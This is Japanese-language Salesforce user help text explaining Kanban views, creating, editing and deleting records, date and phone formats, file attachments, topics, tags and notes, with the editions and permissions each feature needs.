参照および使用できる関連リストは、次の事項によって決まります。
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• ユーザ権限
• Salesforce システム管理者がカスタマイズしたユーザインターフェースおよびページレイアウト
• 自分で行える個人用のカスタマイズ設定

最近参照した項目を開く

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce サイドバーの [最近使ったデータ] のセクションには、自分が最近追加、
編集、または参照した最大 10 個の項目 (レコード、ドキュメント、カスタムオブ
ジェクトなど) が表示されます。
• 項目の詳細ページまたは編集ページを開くには、そのリンクをクリックしま

す。
• リンクをクリックする前に項目に関する主要情報を表示するには、リンクに

マウスポインタを置きます。情報が表示されない場合は、システム管理者が
組織でこの機能を有効にしていません。

Kanban での視覚的な概要の表示

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Kanban ビューには、選択したレコードの概要が視覚的に表示されます。すべて
のレコードを 1 度に確認できるため、自身の業務を効率的に監視し、商談を継
続的に前進させることができます。
ほぼすべてのオブジェクトをリストビューから Kanban ビューに切り替えること
ができます。ナレッジや ToDo など、いくつかのオブジェクトでは Kanban ビュー
を使用できません。
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Kanban ビューのレコードは、選択したリストビューに基づきます (1)。[最近参照したデータ] リストビューにつ
いては Kanban を表示できません。リストビューのグリッドビューと Kanban ビューは簡単に切り替えられます
(2)。レコードを絞り込んで、単一のレコードタイプを選択することや、レコードの特定のサブセットを表示す
ることができます (3)。レコードはレコードタイプに基づいて分割されます (4)。レコードは列にグループ化さ
れます (5)。カードをドラッグすれば、レコードを簡単に別のフェーズに移動できます (6)。商談を円滑にすす
めるには、アラートが役立ちます。たとえば、ToDo や行動を作成できます (7)。

Kanban の考慮事項
Kanban ビューを使用するときには、次の制限事項と考慮事項に注意してください。

Kanban の考慮事項

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Kanban ビューを使用するときには、次の制限事項と考慮事項に注意してくださ
い。

• [最近参照したデータ] リストビューから Kanban ビューを使用することはで
きません。ユーザは別のリストビューを選択してから、Kanban ビューに
切り替える必要があります。

• Kanban ビューには最大 200 カードが表示されます。
• 列は無効な選択リスト項目からは作成されません。
• 無効な状態または状況のレコードは、Kanban ビューには含まれません。
• サマリーは通貨項目でのみ作成できます。
• レコードは、[グループ化単位]で選択された項目がページレイアウトに含

まれている場合にのみ表示されます。
• レコードに [グループ化単位]項目の null 値が含まれている場合、そのレコードは Kanban ビューには表示

されません。
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• [グループ化単位]項目がレコードタイプのページレイアウトに含まれ、レコードタイプに関連付けられ
たレコードが存在する場合、そのレコードタイプのサブタブが作成されます。

• タッチスクリーンではドラッグアンドドロップ機能がサポートされません。
商談

• 期限切れの ToDo がある商談、活動予定のない商談、または過去 30 日間に活動のない商談ではユーザに
アラートが表示されます。アラートはカスタマイズできません。

• 商談を [売上予測分類] 項目でグループ化することはできません。
リード

• Kanban ビューでリードを変換することはできません。
• 状態が [取引開始済み] の場合は、リード状況値の列が作成されません。

契約
• Kanban ビューで契約を有効にすることはできません。
• 標準の契約状況が [有効] の列は作成されません。
• 契約を [所有者に対する終了通知] 項目でグループ化することはできません。

所属ディビジョンの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織でディビジョンを使用している場合は、サイドバーの [ディビジョン] 項目
から所属ディビジョンを変更できます。
ディビジョンでは、組織のデータを論理セクションに分類します。これにより、
検索、レポート、およびリストビューがユーザにとってより有用となります。
• サイドバーの [ディビジョン] 項目から、所属するディビジョンを選択しま

す。

例: 組織で営業領域のディビジョンを設定しているとします。所属ディビ
ジョンを特定の営業領域に変更し、そのディビジョンのみの商談を表示す
るレポートを作成できます。ディビジョンは、データ量が多い組織に有用
です。

[ホーム] タブのダッシュボードの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[ホーム] タブにダッシュボードのスナップショットが含まれている場合、その
ダッシュボードを変更できます。
1. [ホーム] タブの [ダッシュボード] セクションにある [ページのカスタマイズ]

をクリックします。
2. ダッシュボードを検索し、ドロップダウンリストから別のダッシュボードを

選択します。
3. ダッシュボードのデータを更新するには、[更新] をクリックします。
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データの更新
Salesforce データの多くは、個々のレコードに保存され、オブジェクト内で編成されます。たとえば、取引先オ
ブジェクトは、すべての取引先レコードを提供します。Acme 社という取引先がある場合、Acme の取引先レ
コードを作成して使用します。

レコードの作成および更新
レコードの作成および更新は、Salesforce を使用するほとんどのユーザにとって一般的な手順です。Salesforce

でレコードを作成および更新するには、さまざまな方法があります。
レコードへのファイルの添付
ほとんどの種類の Salesforce レコードに Microsoft® Office ドキュメント、Adobe® PDF、および画像および動画な
どのファイルを添付できます。
レコードの印刷
Salesforce のレコードは、ほとんどの詳細ページから印刷できます。
レコードのコピー
レコードをコピーする場合、新しいレコードは元のレコードのレコードタイプになります。
タグとトピックを使用したレコードの整理
トピックは、共通のテーマで整理するためにほとんどの Salesforce レコードと関連付けることができる単語
や語句です。トピックを使用して、共通のテーマでレコードをグループ化し、それらのトピックを使用し
てリストビューを絞り込むことができます。タグは、単語や短い語句です。ユーザが各自のやり方でデー
タを記述したり整理するために、ほとんどの Salesforce レコードと関連付けることができます。
レコードへのメモの追加
Salesforce メモ取りツールの拡張バージョンである「メモ」を使用すると、ワークフローを合理化し、生産
性を高め、Salesforce を最大限に活用できます。箇条書き、番号付きリスト、画像、テキスト書式などを使
用してリッチテキストのメモを作成できます。さらに、数回のクリック操作でメモを複数のレコードに関
連付けることができます。

レコードの作成および更新

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

レコードの作成および更新は、Salesforce を使用するほとんどのユーザにとって
一般的な手順です。Salesforce でレコードを作成および更新するには、さまざま
な方法があります。

オブジェクトタブからのレコードの作成
タブからレコードをすばやく作成できます。たとえば、[取引先] タブから取
引先を作成します。
フィードでのレコードの作成
システム管理者がこのアクションを設定している場合、レコードをホーム
ページ、Chatter タブ、およびレコード詳細ページのフィードで作成できま
す。それぞれのフィードのパブリッシャーに表示されるアクションは異なります。
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簡易作成によるレコードの作成
簡易作成を使用して、リード、取引先、取引先責任者、および商談のホームページからレコードを作成で
きます。
Salesforce Lightning Experience でのレコードの作成
商談、リード、ToDo、メモ、取引先、および取引先責任者の新規 Salesforce レコードを作成します。一部の
オブジェクト (取引先など) では特別なガイドラインと考慮事項を認識する必要がありますが、どのオブジェ
クトの場合もレコードの作成プロセスは似ています。
サイドバーからのレコードの作成
サイドバーの [新規作成] ドロップダウンリストを使用して、レコードを作成します。
保存しようとしているレコードが重複としてフラグ設定される理由およびその対処法
あなたの組織では、ユーザが重複レコードを作成できないようにする重複ルールを使用しています。メッ
セージを読んで、処理方法を決定します。
レコードの更新
多くの Salesforce オブジェクトには、便利なレコードのインライン編集が用意されています。
Lightning Experience のリストビューからレコードをインライン更新
リストビューから直接、レコードの項目の編集ができて便利です。
カスタムオブジェクトレコードを更新する方法
カスタムオブジェクトレコードの更新は、標準オブジェクトレコードの更新と似ています。カスタムオブ
ジェクトレコードへのアクセスや更新ができるかどうかは、権限によって異なります。
レコードの削除
オブジェクトの種類によっては、あるレコードを削除すると、他の関連レコードに影響を与えます。
通貨、日付、時間、名前、電話番号の形式
Salesforce で使用される通貨、日付、時間、電話番号、および名前の形式は、[ロケール] の設定によって決
まります。

オブジェクトタブからのレコードの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードを作成する
• 作成するレコードの種

類のオブジェクトに対
する「作成」

タブからレコードをすばやく作成できます。たとえば、[取引先] タブから取引先
を作成します。
1. 作成するレコードの種類のタブをクリックします。たとえば、取引先レコー

ドを作成する場合は [取引先] タブをクリックします。
2. [新規] をクリックします。
3. 要求されたらレコードタイプを選択します。
4. 項目に値を入力します。赤いバー ( ) のある項目は必須項目です。

ヒント: ヘルプには、ほとんどのオブジェクトの項目定義が含まれてい
ます。ヘルプはオブジェクト名 +「項目」で検索します。たとえば、取
引先レコードを作成または編集する場合、ヘルプで「取引先項目」を検
索します。
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5. 新しいレコードへの値の入力が完了したら、変更を保存します。[保存] をクリックせずにページを離れて
移動すると、変更内容が失われます。

フィードでのレコードの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードを作成する
• 作成するレコードの種

類のオブジェクトに対
する「作成」

システム管理者がこのアクションを設定している場合、レコードをホームペー
ジ、Chatter タブ、およびレコード詳細ページのフィードで作成できます。それ
ぞれのフィードのパブリッシャーに表示されるアクションは異なります。
1. パブリッシャーで、作成するレコードの種類に対応するクイックアクション

をクリックします。
たとえば、取引先に取引先責任者を追加するには、取引先の詳細ページに移
動して [取引先責任者を作成] を選択します。

2. 項目に値を入力します。赤いバー ( ) のある項目は必須項目です。
ヘルプには、ほとんどのオブジェクトの項目定義が含まれています。ヘルプ
はオブジェクト名 +「項目」で検索します。たとえば、取引先レコードを作
成または編集する場合、ヘルプで「取引先項目」を検索します。

3. 新しいレコードへの値の入力が完了したら、[作成] をクリックします。

簡易作成によるレコードの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードを作成する
• 作成するレコードの種

類のオブジェクトに対
する「作成」

簡易作成を使用して、リード、取引先、取引先責任者、および商談のホームペー
ジからレコードを作成できます。
また、取引先責任者、リード、および商談にある [簡易作成] フォームの [取引先]

ルックアップ項目の結果リストから取引先を作成することもできます。入力規
則は、簡易作成を使用して新規レコードを作成する場合は適用されません。
1. 作成するレコードの種類のタブをクリックします。取引先責任者、リード、

または商談を作成すると同時に取引先を作成するには、使用している [簡易
作成] フォームの [取引先] 項目の横にある アイコンをクリックします。

2. 項目に値を入力します。赤いバー ( ) のある項目は必須項目です。
ヘルプには、ほとんどのオブジェクトの項目定義が含まれています。ヘルプ
はオブジェクト名 +「項目」で検索します。たとえば、取引先レコードを作
成または編集する場合、ヘルプで「取引先項目」を検索します。

3. [保存] をクリックします。
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Salesforce Lightning Experience でのレコードの作成

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
すべてのエディション

商談、リード、ToDo、メモ、取引先、および取引先責任者の新規Salesforceレコー
ドを作成します。一部のオブジェクト (取引先など) では特別なガイドラインと
考慮事項を認識する必要がありますが、どのオブジェクトの場合もレコードの
作成プロセスは似ています。

メモ: これは、Lightning Experience用の情報です。Lightning Experienceでは、画
面上部のナビゲーションバーの左側に [アプリケーションランチャー] アイ
コン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示されま
せん。

Lightning Experience ではさまざまな方法でレコードを作成できます。
• 任意の Salesforce ページからレコードを作成するには、ナビゲーションメニューで必要な項目を選択し、リ

ストビューで [新規] をクリックします。
• 既存のレコードからレコードを作成するには、必要な項目で [新規] をクリックします。たとえば、取引先

責任者レコードを表示していて、取引先責任者に関するメモを作成する場合は、取引先責任者ページの [メ
モ] セクションで [新規] をクリックします。

サイドバーからのレコードの作成

エディション

使用可能なエディション:
Salesforce Classic

[新規作成] ドロップダウン
リストで使用できるオプ
ションは、持っている権
限、使用している
Salesforce のエディショ
ン、および使用している
アプリケーションによっ
て異なります。

サイドバーの [新規作成] ドロップダウンリストを使用して、レコードを作成し
ます。
1. サイドバーの [新規作成] ドロップダウンリストから、作成するレコードタイ

プを選択します。
適切なタブに新しいレコードページがすぐに表示されるか、[ファイル] を選
択した場合は [ファイルをアップロード] ダイアログが表示されます。

2. 次のように、すべての項目に値を入力します。
3. [ファイル] を選択した場合は、[保存] または [私のファイルにアップロード]

をクリックします。
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保存しようとしているレコードが重複としてフラグ設定される理由 およびその対処法

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

あなたの組織では、ユーザが重複レコードを作成できないようにする重複ルー
ルを使用しています。メッセージを読んで、処理方法を決定します。
保存しようとしているレコードに重複候補のフラグが設定されている場合、次
のような内容が表示されます。

1. システムで生成されるメッセージによって、検出された重複候補の数が通知されます。この数にはアクセ
ス権のあるレコードのみが含まれます。重複候補として識別されたどのレコードへのアクセス権もない場
合、このメッセージには数値が含まれません。レコード所有者のリストが含まれるため、既存の重複レコー
ドへのアクセスを要求できます。

2. 重複ルールの作成者が作成したカスタムアラート。このアラートには、レコードを保存できない理由とそ
の対処方法が表示されることが理想的です。

3. 重複ルールで重複候補のレコードを保存することが許可されている場合、[保存 (アラートを無視)]ボタンが
表示されます。重複ルールで重複候補のレコードを保存することが許可されていない場合、[保存] ボタン
は表示されますが、レコードに必要な変更を行って重複候補のフラグがなくなるまでレコードは正常に保
存されません。
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4. 重複候補のリストには、アクセス権のあるレコードのみが表示されます。このリストには、アクセス権の
ある項目 (比較して一致していると判断された最初の数項目 (最大 7 項目)) のみが表示されます。このリスト
には、最大 5 件のレコードが表示されます。見つかった重複が 5 件より多い場合は、[すべて表示 >>] をク
リックすると、100 件までのレコードの完全なリストが表示されます。レコードは更新順に表示されます。
リストのいずれかのレコードに直接移動するには、そのリンクをクリックします。

5. 強調表示された項目は、比較して一致していると判断された項目です。

レコードの更新

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードを編集する
• 編集するレコードの種

類のオブジェクトに対
する「編集」

多くの Salesforce オブジェクトには、便利なレコードのインライン編集が用意さ
れています。
すべてのオブジェクトのすべての項目がインライン編集できるわけではありま
せん。項目でインライン編集がサポートされているかどうかを確認するには、
項目にマウスポインタを置いて、鉛筆アイコン ( ) を探します。
1. 編集するレコードを見つけて開きます。
2. [編集] をクリックします。
3. 項目の値を入力または編集します。

ヒント: ヘルプには、ほとんどのオブジェクトの項目定義が含まれてい
ます。ヘルプはオブジェクト名 +「項目」で検索します。たとえば、取
引先レコードを作成または編集する場合、ヘルプで「取引先項目」を検
索します。

4. 値の入力または編集が完了したら、変更を保存します。

Lightning Experience のリストビューからレコードをインライン更新

エディション

使用可能なインター
フェース: Lightning
Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードの項目を編集す
る
• 編集するレコードの種

類のオブジェクトに対
する「編集」

リストビューから直接、レコードの項目の編集ができて便利です。
リストビューにあるレコードのすべての項目でインライン編集が可能なわけで
はありません。項目のインライン編集がサポートされているかどうかは、マウ
スポインタを置いたときの でわかります。編集できないセルには鍵アイコン

が表示されます。
いつものように、アクセス権限のあるレコードのみ編集できます。
リストビューの 1 行で項目を編集する手順は、次のとおりです。
1. リストで、編集するセルにマウスポインタを置いて、 をクリックします。

または、セルをダブルクリックします。
2. 編集可能なセルで変更を行います。

リストビューの下に [保存] ボタンが表示されます。
3. [保存] をクリックします。

他のユーザがレコードの同じ項目を同時にインライン編集すると、最新の編
集のみが保存されます。

リストビューのインライン編集の考慮事項
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次の場合は、リストビューでインライン編集できません。
• リストビューに複数のレコードタイプが含まれている。
• リストビューで条件ロジックを使用し、OR 句が含まれている。
レコードタイプを 1 つしか含まないように事前定義されている [最近参照したデータ] リストビューまたは [チー
ム] リストビューでは、インライン編集できます。ToDo オブジェクトのホームページの ToDo も、リストビュー
に表示されていなくても編集できます。
次の項目または項目種別はインライン編集できません。
• レコード ID または作成日などの組み込み項目 (ユーザインターフェースからは編集不可)

• 標準項目種別 (日付/時間、自動採番、積み上げ集計、レコードタイプ、主従関係、ロングテキストエリア、
リッチテキスト、チェックボックス、階層)

• 名前、取引先名、住所項目、地理位置情報項目などの複合項目

メモ: 姓名は編集可能です。

• 商談項目の売上予測と売り上げ予測分類
• カスタム連動選択リスト
• 暗号化されたテキスト項目

カスタムオブジェクトレコードを更新する方法

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトレ
コードを参照する
• カスタムオブジェクト

に対する「参照」

カスタムオブジェクトレ
コードを変更する
• カスタムオブジェクト

に対する「編集」

カスタムオブジェクトレコードの更新は、標準オブジェクトレコードの更新と
似ています。カスタムオブジェクトレコードへのアクセスや更新ができるかど
うかは、権限によって異なります。

重要: 特定のオブジェクトに関する情報を検索して、このページが表示さ
れた場合、Salesforce システム管理者はそのオブジェクトのヘルプページを
作成していません。Salesforce ヘルプでは、Salesforce の初期インテグレーショ
ンに付属する標準オブジェクトについてのみ説明しています。

関連トピック:

レコードの更新
標準オブジェクトとカスタムオブジェクトの違いは?
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レコードの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードを削除する
• 削除するレコードの種

類のオブジェクトに対
する「削除」

オブジェクトの種類によっては、あるレコードを削除すると、他の関連レコー
ドに影響を与えます。
レコードを削除する前に、関連レコードがあるかどうかを確認します。たとえ
ば、取引先または取引先責任者を削除すると、関連付けられているすべての納
入商品も削除されます。
1. 削除するレコードを見つけて開きます。
2. [削除] をクリックします。

通貨、日付、時間、名前、電話番号の形式

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce で使用される通貨、日付、時間、電話番号、および名前の形式は、[ロ
ケール] の設定によって決まります。
[地域]の設定で現在使用している日付/時刻の形式を確認する手順は、次のとお
りです。
1. 個人設定から、[クイック検索]ボックスに「高度なユーザの詳細」と入力し、

[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検索]

ボックスに「個人情報」と入力し、[個人情報] を選択します。
2. 参照のみの [作成者]項目で使用されている日付/時間の形式を確認します。

Salesforce の各種項目に日付および時刻を入力する際には、この形式を使用し
てください。

通貨
ほとんどの Salesforce エディションで、[目標]、[年間売上] などの通貨項目に使用できる形式と通貨種別は、会
社の [通貨] 設定によって決まります。マルチ通貨を使用する Group Edition、Professional Edition、Enterprise Edition、
Unlimited Edition、および Performance Edition 組織の場合、形式と通貨種別は、作成または編集するレコード内の
[通貨] 項目によって決まります。

ヒント: 金額 (または任意の種類の数値) を入力するとき、ショートカット k、m、b を使用してそれぞれ
1000、100 万、10 億を表すことができます。たとえば、50k と入力すると、50,000 と表示されます。た
だし、これらのショートカットは検索条件では機能しません。

日付と時間
多くの項目では、個人の [地域] 設定で指定された形式で日付や時間を入力できます。
日付を入力するときは、カレンダーから日付を選択するか、手動で日付を入力できます。
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特定の範囲内の日付のみが有効です。最も早い有効な日付は 1700-01-01T00:00:00Z GMT、つまり、1700 年 1 月 1 日
の午前 0 時です。最も遅い有効な日付は 4000-12-31T00:00:00Z GMT、つまり、4000 年 12 月 31 日の午前 0 時です。
これらの値は、タイムゾーンごとのオフセットとなります。たとえば、太平洋タイムゾーンでは、最も早い有
効な日付は 1699-12-31T16:00:00、つまり 1699 年 12 月 31 日の午後 4 時です。

ヒント:

• 年は 4 桁の数値で表示、保存されますが、下 2 桁の入力ができます。その場合は Salesforce で上 2 桁が
判別されます。入力値 60 ～ 99 は20 世紀とみなされ (1964 など)、入力値 00 ～ 59 は 21 世紀 (2012

など) とみなされます。
• [地域] が英語 (アメリカ) に設定されている場合、月と日の数値のみを入力すると (01/15など)、Salesforce

で現在の年が補足されます。
• ロケールと言語が英語の場合、Yesterday、Today、Tomorrow のような語や曜日を入力できます。

その場合は、Salesforce で日付が判別されます。曜日名 (Monday など) は常に次の週の曜日とみなされ
ます。

電話番号
さまざまな電話項目に電話番号を入力すると、Salesforce では、入力した電話番号形式がそのまま保持されま
す。ただし、[地域] が英語 (アメリカ) または英語 (カナダ) に設定されている場合、10 桁の電話番号と「1」で
始まる 11 桁の電話番号は、レコードを保存すると自動的に (800) 555-1212 形式に設定されます。

ヒント:

• 10 桁または 11 桁の電話番号に括弧、空白、ハイフンを使用した形式 ((800) 555-1212) を使用しない
場合は、番号の前に「+」を入力します。たとえば、+49 8178 94 07-0 のように入力します。

• 10 桁および 11 桁の電話番号の形式がSalesforceで自動設定された場合、検索条件を指定するときに括弧
の入力が必要になる場合があります。たとえば、「電話 次の文字列で始まる (415)」などです。
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レコードへのファイルの添付

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードにファイルを添
付する
• オブジェクトに対する

「編集」

ほとんどの種類の Salesforce レコードに Microsoft® Office ドキュメント、Adobe® PDF、
および画像および動画などのファイルを添付できます。
ソリューションに添付されるファイルを含めて、関連リストに直接添付される
ときの添付ファイルのサイズ制限は 25 MB です。メールメッセージ (添付ファイ
ルを含む) のサイズ制限は 25 MB です。
1. レコードを開きます。
2. [ファイル添付] をクリックします。
3. [参照] をクリックして、添付するファイルを検索します。
4. その後、[ファイル添付] をクリックしてファイルをアップロードします。
5. アップロードが完了したら、[完了] をクリックします。

メモ:

• ファイルをレコードの Chatter フィードに添付すると、[メモと添付ファ
イル] 関連リストにフィード添付として追加されます。Chatter フィード
の添付ファイルサイズの制限は 2 GB です。

• 組織で [HTML で添付ファイルまたはドキュメントレコードとしてアップ
ロードすることを許可しない] セキュリティ設定が有効になっている場
合
は、.htm、.html、.htt、.htx、.mhtm、.mhtml、.shtm、.shtml、.acgi、.svg

の拡張子を持つファイルのアップロードはできません。

レコードの印刷
Salesforce のレコードは、ほとんどの詳細ページから印刷できます。
1. ほとんどの詳細ページの右上にある [印刷用に表示] リンクをクリックします。

新しいブラウザウィンドウに、レコードが単純な印刷可能形式で表示されます。セクションヘッダーの横
にある三角形をクリックして、印刷用ビューの各セクションを折りたたみおよび展開できます。

メモ:  [コンソール] タブで、印刷アイコン ( ) をクリックすると、レコードの印刷用ビューが開きま
す。

2. ページをプリンタに送信するには、[このページを印刷] をクリックするか、ブラウザの印刷機能を使用し
ます。
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レコードのコピー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトレ
コードをコピーする
• カスタムオブジェクト

に対する「作成」

レコードをコピーする場合、新しいレコードは元のレコードのレコードタイプ
になります。
1. 既存のオブジェクトレコードの [コピー] をクリックします。

コピーされたレコードのレコードタイプがプロファイルまたは権限セットで
許可されていない場合、新しいレコードにデフォルトのレコードタイプが追
加されます。

2. 新しいレコードの情報を入力または変更します。
項目に対するアクセス権が「参照のみ」の場合、その項目の値はコピーした
レコードには引き継がれません。

3. 変更内容を保存します。

タグとトピックを使用したレコードの整理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

トピックは、共通のテーマで整理するためにほとんどの Salesforce レコードと関
連付けることができる単語や語句です。トピックを使用して、共通のテーマで
レコードをグループ化し、それらのトピックを使用してリストビューを絞り込
むことができます。タグは、単語や短い語句です。ユーザが各自のやり方でデー
タを記述したり整理するために、ほとんどの Salesforce レコードと関連付けるこ
とができます。
Chatter が有効化されている場合は、トピックに関するレコードをトピック詳細
ページの [レコード] タブに一元的に表示することもできます。たとえば、多数
の取引先が会議に参加している場合、それらのレコードに「User Conference」(ユーザカンファレンス) と
いうトピックを追加したとします。そのトピックを使用して取引先リストビューを絞り込んだり、(Chatter の
場合は) [User Conference (ユーザカンファレンス)] トピックページの [レコード] タブに取引先をまとめて
表示したりできます。
次の例に、トピックに関する [レコード] タブに取引先を表示するトピック詳細ページを示します (特定のトピッ
クでこのような [レコード] タブが表示されない場合、そのトピックはまだいずれのレコードにも追加されてい
ません)。
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システム管理者は、取引先、納入商品、キャンペーン、ケース、取引先責任者、契約、ファイル、リード、商
談、注文、ソリューション、カスタムオブジェクト、英語の記事のトピックを有効化または無効化できます。
ToDo のトピックは有効にできますが、ToDo では [レコード] タブはサポートされていません。ファイルのトピッ
クは、トピックを添付先のフィード投稿に追加したときに、自動的にファイルに追加されます。

レコードへのトピックの追加
共通のテーマによるレコードの整理、リストビューでのレコードの取得、トピック詳細ページでのレコー
ドの参照 (Chatter の場合) をすばやく行うには、トピックを追加します。
レコードからのトピックの削除
適用されなくなったトピックをレコードから削除します。
レコードのタグ付け
さまざまなオブジェクトのレコードを共通のテーマによってグループ化するには、タグを使用します。情
報の検索をすばやく直感的にするには、検索条件にタグを追加します。
レコードからのタグの削除
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レコードへのトピックの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

トピックをレコードに追
加する
• レコードに対する「参

照」または「編集」

および

既存のトピックを追加
するには「トピックの
割り当て」

または

新規トピックを追加す
るには「トピックの作
成」

共通のテーマによるレコードの整理、リストビューでのレコードの取得、トピッ
ク詳細ページでのレコードの参照 (Chatter の場合) をすばやく行うには、トピッ
クを追加します。
オブジェクトのトピックは、そのオブジェクト種別のレコードにトピックを追
加する前に有効化しておく必要があります。

メモ: すべてのトピック名は公開され、検索結果に表示されますが、その
トピックを持つレコードの表示には影響しません。

1. レコード詳細ページの上部で、レコード名の下にある [クリックしてトピッ
クを追加] をクリックします。レコードにすでにトピックがある場合は、[ト
ピック] をクリックします。

システム管理者がフィードベースのレイアウトを有効化している場合、フィードビューのサイドバーで[ト
ピックを追加] をクリックします。
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2. トピックエディタで、テキストの入力を開始します。入力し始めると推奨リストが表示されるのでそこか
らトピックを選択したり、あるいはそのまま入力を続けて独自の一意のトピックを作成したりできます。
複数のトピックを追加するには、各トピックの後にカンマを入力します。
カンマ ( , ) および閉じる角括弧 ( ] ) は、トピックを自動的に終了します。他の句読点、記号、区切り文字は、
トピック名でサポートされています。
レコードには最大 100 個のトピックを追加できます。

3. トピックの追加が完了したら、[完了] をクリックするか [Enter] キーを押します。
これで、レコードに追加したトピックを使用してリストビューを絞り込むことができるようになりました。シ
ステム管理者がChatterを有効化している場合、レコードに追加したトピックはトピック詳細ページへのリンク
になります。トピック詳細ページでは、関連レコードが [レコード] タブに表示されるため、簡単にアクセスで
きます (レコードの Chatter 投稿は、レコードのトピックに自動的に追加されないため、トピックを投稿に追加
する必要があります)。

レコードからのトピックの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レコードからトピックを
削除する
• レコードに対する「参

照」または「編集」

および

「トピックの割り当
て」

適用されなくなったトピックをレコードから削除します。
トピックを削除してもこれらは実際には削除されていません。レコードからト
ピックを削除する前に、トピックを使用してレコードを追跡するために他のユー
ザがトピックを追加していないかを確認してください。
1. レコード詳細ページの上部で、[トピック] をクリックします。
2. レコードから削除するトピックの横にある をクリックします。
3. [完了] をクリックするか Enter キーを押します。
レコードからトピックを削除すると、そのトピックを条件として使用している
すべてのリストビューからそのレコードが削除されます。Chatter が有効化され
ている場合は、トピック詳細ページの [レコード] タブからもレコードが削除さ
れます。
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レコードのタグ付け

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レコードのタグを編集す
る
• レコードに対する「参

照」

公開タグの名前を変更す
る、または削除する
• 「タグマネージャ」

さまざまなオブジェクトのレコードを共通のテーマによってグループ化するに
は、タグを使用します。情報の検索をすばやく直感的にするには、検索条件に
タグを追加します。
1. レコード詳細ページの右上で、[タグを追加] または [タグの編集] をクリック

します。
2. [個人タグ] または [公開タグ] テキストボックスで、そのレコードに関連付

けるタグをカンマで区切って入力します。
タグには、文字、数字、スペース、ダッシュ、およびアンダースコアのみが
使用でき、1 つ以上の文字または数字が必要です。新しいタグを入力すると、
すでに定義されている最大 10 個のタグがタグのオートコンプリート機能で表
示されます。推奨タグリストは変わり、入力した文字と先頭部分が一致する
タグのみが表示されます。
個人タグと公開タグの作成数と適用数には制限があります。タグの数を超え
ると、追加した新しいタグは保存されなくなります。[タグ] ページで、使用
頻度の低いタグ削除してください。

例: たとえば、会議で会った取引先責任者とリードに、「ユーザ会議 2011」
という語句のタグを付けたとします。「ユーザ会議 2011」というタグを検
索し、検索結果でそのタグをクリックすると、それらのレコードを取得で
きます。

レコードからのタグの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レコードのタグを編集す
る
• レコードに対する「参

照」

1. レコード詳細ページの右上で、[タグの編集] をクリックします。
2. [個人タグ]または [公開タグ]テキストボックスで、削除するタグの横の [X]

をクリックします。
3. 変更内容を保存します。
削除したタグを適用しているレコードが他にない場合、そのタグは組織から完
全に削除されます。他のレコードでそのタグを使用している場合は、検索結果
と [タグ] ページにそのまま表示されます。
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レコードへのメモの追加

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce メモ取りツールの拡張バージョンである「メモ」を使用すると、ワー
クフローを合理化し、生産性を高め、Salesforce を最大限に活用できます。箇条
書き、番号付きリスト、画像、テキスト書式などを使用してリッチテキストの
メモを作成できます。さらに、数回のクリック操作でメモを複数のレコードに
関連付けることができます。
動画を見る: メモの使用方法

メモ: 従来のメモ取りツールを引き続き使用している場合は、拡張バージョ
ンの「メモ」への切り替えについてシステム管理者にお問い合わせくださ
い。

Salesforce Classic でのレコードへのメモの追加
情報を整理し生産性を高めるため、Salesforce の拡張されたメモ取りツールで
ある「メモ」を使用して、重要な情報をレコードに追加します。
Salesforce Lightning Experience でのレコードへのメモの追加
メモを使用すると、重要な情報をレコードに追加して、情報を常に整理できます。
以前のバージョンのメモの表示と復元
